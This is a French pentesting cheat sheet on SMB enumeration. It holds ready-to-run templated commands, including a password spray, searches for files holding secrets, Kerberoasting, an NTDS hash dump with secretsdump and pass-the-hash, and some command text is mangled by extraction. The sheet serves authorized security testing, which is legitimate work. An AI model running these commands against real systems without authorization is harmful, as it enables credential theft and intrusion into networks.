smbenumerationpentest
MDstable
NoteSnippetChecklistPlaybook
Enumération SMB
Enumération complète du protocole SMB avec enum4linux-ng, smbclient, CrackMapExec et impacket
snippetintermediate 2026-05-10 3 min read
smbenumerationpentestwindowssambacme
Objectifs
Identifier les partages SMB accessibles, les utilisateurs, les politiques de mot de passe et les sessions nulles.
⚠ Attention — Vérifier que les ports 445 et 139 sont dans le scope autorisé avant toute énumération.
Outils
| Outil | Usage |
|---|---|
| enum4linux-ng | Enumération SMB/RPC complète (remplace enum4linux) |
| smbclient | Navigation manuelle dans les partages |
| crackmapexec / cme | Enumération + credential testing |
| smbmap | Mapping des permissions sur les partages |
| rpcclient | RPC calls manuels |
| impacket | Suite d'outils SMB/AD avancés |
Enum4linux-ng — Enumération complète
bash
Variables
{{TARGET}}
{{OUTPUT_DIR}}
{{DOMAIN}}
# Enumération complète (users, shares, groups, policies)enum4linux-ng -A {{TARGET}} -oA {{OUTPUT_DIR}}/smb-enum# Avec credentialsenum4linux-ng -A {{TARGET}} -u {{DOMAIN}}/guest -oA {{OUTPUT_DIR}}/smb-auth
Smbclient — Navigation partages
bash
Variables
{{TARGET}}
{{DOMAIN}}
{{USER}}
{{PASSWORD}}
# Lister les partages (anonyme)smbclient -L //{{TARGET}} -N# Lister avec credentialssmbclient -L //{{TARGET}} -U {{DOMAIN}}{{USER}}{{PASSWORD}}# Se connecter à un partagesmbclient //{{TARGET}}/SYSVOL -U {{DOMAIN}}{{USER}}{{PASSWORD}}# Commandes utiles dans smbclient :# ls — liste les fichiers# get file — télécharger un fichier# put file — uploader un fichier# recurse ON; prompt OFF; mget * — télécharger tout
CrackMapExec — Enumération avancée
bash
Variables
{{TARGET}}
{{USER}}
{{PASSWORD}}
{{DOMAIN}}
# Enumération des partagescme smb {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} --shares# Enumération des utilisateurscme smb {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} --users# Enumération des groupescme smb {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} --groups# Sessions activescme smb {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} --sessions# Politique de mot de passecme smb {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} --pass-pol# Spray de passwords (ATTENTION : risque de lockout)cme smb {{TARGET}} -u userstxt -p 'Password123!' -d {{DOMAIN}} --continue-on-success
Smbmap — Permissions
bash
Variables
{{TARGET}}
{{USER}}
{{PASSWORD}}
{{DOMAIN}}
# Mapping des permissionssmbmap -H {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}}# Recursive listingsmbmap -H {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} -R# Recherche de fichiers sensiblessmbmap -H {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} -R -A "\.txt|\.conf|\.ini|password|secret"
Impacket — Attaques avancées
bash
Variables
{{DOMAIN}}
{{USER}}
{{PASSWORD}}
{{TARGET}}
{{OUTPUT_DIR}}
# Lister les SPN (Kerberoasting)GetUserSPNspy {{DOMAIN}}{{USER}}{{PASSWORD}} -dc-ip {{TARGET}} -request -outputfile {{OUTPUT_DIR}}/spns.txt# Utilisateurs ADGetADUserspy {{DOMAIN}}{{USER}}{{PASSWORD}} -dc-ip {{TARGET}} -all# Dump SAM/NTDS (si admin)secretsdumppy {{DOMAIN}}{{USER}}{{PASSWORD}}{{TARGET}} -outputfile {{OUTPUT_DIR}}/hashes# Pass-the-hashsmbclient //{{TARGET}}/C -U {{DOMAIN}}{{USER}} --pw-nt-hash NTLMHASH
Checklist SMB0/10
Pièges fréquents
- SMB signing activé : bloque les attaques de type NTLM relay
- Win10/Server 2019+ : SMBv1 désactivé par défaut — ne pas compter dessus
- Lockout : vérifier la politique avant tout password spray (généralement 3-5 tentatives)
- Sessions null : souvent désactivées sur les AD modernes
- Firewall : port 445 filtré mais 139 ouvert — essayer les deux
OPS·BRAIN v1.075 notes · Securitylocal